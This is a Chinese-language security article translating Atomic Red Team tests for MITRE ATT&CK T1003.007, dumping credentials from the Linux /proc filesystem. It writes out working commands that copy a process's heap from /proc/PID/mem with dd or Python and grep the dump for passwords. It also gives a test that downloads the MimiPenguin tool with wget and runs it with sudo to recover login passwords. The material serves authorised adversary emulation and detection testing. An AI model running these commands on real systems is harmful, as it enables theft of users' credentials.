T1003.007 - 操作系统凭证转储:Proc文件系统

admin 2025年3月18日21:17:00评论1 views字数 5240阅读17分28秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1003-操作系统凭证转储。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

T1003.007 - 操作系统凭证转储:Proc文件系统

来自ATT&CK的描述

攻击者可能会从proc文件系统(即/proc)收集凭证。proc文件系统是一个伪文件系统,在基于Linux的系统中用作管理虚拟内存的内核数据结构的接口。对于每个进程,/proc/<PID>/maps文件展示了进程虚拟地址空间内的内存映射情况。而/proc/<PID>/mem则用于调试目的,可用于访问进程的虚拟地址空间。(引用:Picus Labs Proc cump 2022;baeldung Linux proc map 2022)

在以root权限执行时,攻击者可以在系统上所有进程的这些内存位置中搜索包含凭证特征模式的内容。攻击者可能会使用正则表达式模式,如grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1,在内存结构或缓存哈希中查找固定字符串。(引用:atomic-red proc文件系统)在没有特权访问的情况下,进程仍然可以查看自己的虚拟内存位置。一些服务或程序可能会在进程内存中以明文形式保存凭证。(引用:MimiPenguin GitHub 2017年5月;Polop Linux PrivEsc Gitbook)

如果以网络浏览器的权限或在其权限下运行,进程可以在/maps/mem位置搜索常见的网站凭证模式(这些模式也可用于在同一结构中查找相邻内存),哈希值或明文凭证可能就存于其中。

原子测试

  • 原子测试#1 - 使用sh(本地)转储单个进程内存
  • 原子测试#2 - 在FreeBSD上使用sh(本地)转储单个进程内存
  • 原子测试#3 - 使用Python(本地)转储单个进程内存
  • 原子测试#4 - 使用MimiPenguin捕获密码

原子测试#1 - 使用sh(本地)转储单个进程内存

利用/proc/$PID/mem(其中$PID是目标进程ID),使用Shell工具将进程内存复制到外部文件,以便后续搜索或提取。

  • 支持的平台:Linux
  • 自动生成的GUID:7e91138a - 8e74 - 456d - a007 - 973d67a0bb80
  • 输入参数:
名称
描述
类型
默认值
output_file
捕获结果将放置的路径
路径
/tmp/T1003.007.bin
script_path
生成目标进程的脚本路径
路径
/tmp/T1003.007.sh
pid_term
用于识别目标进程的唯一字符串
字符串
T1003.007
  • 攻击命令:使用sh运行!需要提升权限(例如root或管理员权限)
sh #{script_path}PID=$(pgrep -n -f "#{pid_term}")HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"grep -i "PASS" "#{output_file}"
  • 清理命令:
rm -f "#{output_file}"
  • 依赖项:使用sh运行!
  • 描述:启动目标进程的脚本必须存在
  • 检查先决条件命令:
test -f #{script_path}grep "#{pid_term}" #{script_path}
  • 获取先决条件命令:
echo '#!/bin/sh' > #{script_path}echo "sh -c 'echo "The password is #{pid_term}" && sleep 30' &" >> #{script_path}

原子测试#2 - 在FreeBSD上使用sh(本地)转储单个进程内存

利用/proc/$PID/mem(其中$PID是目标进程ID),使用Shell工具将进程内存复制到外部文件,以便后续搜索或提取。在FreeBSD系统上,procfs必须已挂载。

  • 支持的平台:Linux
  • 自动生成的GUID:fa37b633 - e097 - 4415 - b2b8 - c5bf4c86e423
  • 输入参数:
名称
描述
类型
默认值
output_file
捕获结果将放置的路径
路径
/tmp/T1003.007.bin
script_path
生成目标进程的脚本路径
路径
/tmp/T1003.007.sh
pid_term
用于识别目标进程的唯一字符串
字符串
T1003.007
  • 攻击命令:使用sh运行!需要提升权限(例如root或管理员权限)
sh #{script_path}PID=$(pgrep -n -f "#{pid_term}")MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"strings "#{output_file}" | grep -i PASS
  • 清理命令:
rm -f "#{output_file}"
  • 依赖项:使用sh运行!
  • 描述:启动目标进程的脚本必须存在
  • 检查先决条件命令:
test -f #{script_path}grep "#{pid_term}" #{script_path}
  • 获取先决条件命令:
echo '#!/bin/sh' > #{script_path}echo "sh -c 'echo "The password is #{pid_term}" && sleep 30' &" >> #{script_path}

原子测试#3 - 使用Python(本地)转储单个进程内存

利用/proc/$PID/mem(其中$PID是目标进程ID),使用Python脚本将进程的堆内存复制到外部文件,以便后续搜索或提取。在FreeBSD系统上,procfs必须已挂载。

  • 支持的平台:Linux
  • 自动生成的GUID:437b2003 - a20d - 4ed8 - 834c - 4964f24eec63
  • 输入参数:
名称
描述
类型
默认值
output_file
捕获结果将放置的路径
路径
/tmp/T1003.007.bin
script_path
生成目标进程的脚本路径
路径
/tmp/T1003.007.sh
python_script
生成目标进程的脚本路径
路径
PathToAtomicsFolder/T1003.007/src/dump_heap.py
pid_term
用于识别目标进程的唯一字符串
字符串
T1003.007
  • 攻击命令:使用sh运行!需要提升权限(例如root或管理员权限)
sh #{script_path}PID=$(pgrep -n -f "#{pid_term}")PYTHON=$(which python || which python3 || which python2)$PYTHON #{python_script} $PID #{output_file}grep -i "PASS" "#{output_file}"
  • 清理命令:
rm -f "#{output_file}"
  • 依赖项:使用sh运行!
  • 描述:启动目标进程的脚本必须存在
  • 检查先决条件命令:
test -f #{script_path}grep "#{pid_term}" #{script_path}
  • 获取先决条件命令:
echo '#!/bin/sh' > #{script_path}echo "sh -c 'echo "The password is #{pid_term}" && sleep 30' &" >> #{script_path}
  • 描述:需要Python
  • 检查先决条件命令:
(which python || which python3 || which python2)
  • 获取先决条件命令:
echo "Python 2.7+或3.4+必须安装"

原子测试#4 - 使用MimiPenguin捕获密码

MimiPenguin是一款受MimiKatz启发的工具,针对受CVE - 2018 - 20781影响的Linux系统(基于Ubuntu的发行版和特定版本的GNOME Keyring)。在受影响的系统上成功执行后,MimiPenguin将从内存中检索密码并输出到指定文件。相关参考:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781
  • https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin is a free and,tested on various Linux distributions
  • 支持的平台:Linux
  • 自动生成的GUID:a27418de - bdce - 4ebd - b655 - 38f04842bf0c
  • 输入参数:
名称
描述
类型
默认值
output_file
捕获结果将放置的路径
路径
/tmp/T1003.007Test3.txt
MimiPenguin_Location
MimiPenguin脚本的路径
路径
/tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh
  • 攻击命令:使用bash运行!需要提升权限(例如root或管理员权限)
sudo #{MimiPenguin_Location} > #{output_file}cat #{output_file}
  • 清理命令:
rm -f #{output_file} > /dev/null
  • 依赖项:使用sh运行!
  • 描述:MimiPenguin脚本必须存在于指定位置(#{MimiPenguin_Location})
  • 检查先决条件命令:
if [ -f "#{MimiPenguin_Location}" ]; then exit 0; else exit 1; fi;
  • 获取先决条件命令:
wget -O "/tmp/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gzmkdir /tmp/mimipenguintar -xzvf "/tmp/mimipenguin.tar.gz" -C /tmp/mimipenguin
  • 描述:必须安装strings工具
  • 检查先决条件命令:
if [ -x "$(command -v strings --version)" ]; then exit 0; else exit 1; fi;
  • 获取先决条件命令:
sudo apt-get -y install binutils
  • 描述:必须安装Python2
  • 检查先决条件命令:
if [ -x "$(command -v python2 --version)" ]; then exit 0; else exit 1; fi;
  • 获取先决条件命令:
sudo apt-get -y install python2
  • 描述:必须安装Libc - bin
  • 检查先决条件命令:
if [ -x "$(command -v ldd --version)" ]; then exit 0; else exit 1; fi;
  • 获取先决条件命令:
sudo apt-get -y install libc-bin

原文始发于微信公众号(网空安全手札):T1003.007 - 操作系统凭证转储:Proc文件系统

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月18日21:17:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1003.007 - 操作系统凭证转储:Proc文件系统https://cn-sec.com/archives/3852576.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息